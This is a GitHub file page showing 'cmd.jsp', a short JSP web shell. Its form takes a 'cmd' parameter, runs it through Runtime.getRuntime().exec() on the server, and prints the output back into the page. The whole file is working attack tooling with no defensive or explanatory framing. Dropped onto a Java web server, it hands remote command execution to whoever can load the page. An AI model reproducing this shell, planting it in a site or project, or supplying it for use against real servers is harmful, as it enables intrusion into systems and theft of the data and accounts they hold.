-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathcmd.jsp
More file actions
24 lines (24 loc) · 763 Bytes
/
cmd.jsp
File metadata and controls
24 lines (24 loc) · 763 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<form method="GET" action="">
<input type="text" name="cmd" />
<input type="submit" value="Exec!" />
</form> <%!
public String esc(String str){
StringBuffer sb = new StringBuffer();
for(char c : str.toCharArray())
if( c >= '0' && c <= '9' || c >= 'A' && c <= 'Z' || c >= 'a' && c <= 'z' || c == ' ' )
sb.append( c );
else
sb.append("&#"+(int)(c&0xff)+";");
return sb.toString();
} %><%
String cmd = request.getParameter("cmd");
if ( cmd != null) {
out.println("<pre>Command was: <b>"+esc(cmd)+"</b>\n");
java.io.DataInputStream in = new java.io.DataInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
String line = in.readLine();
while( line != null ){
out.println(esc(line));
line = in.readLine();
}
out.println("</pre>");
} %>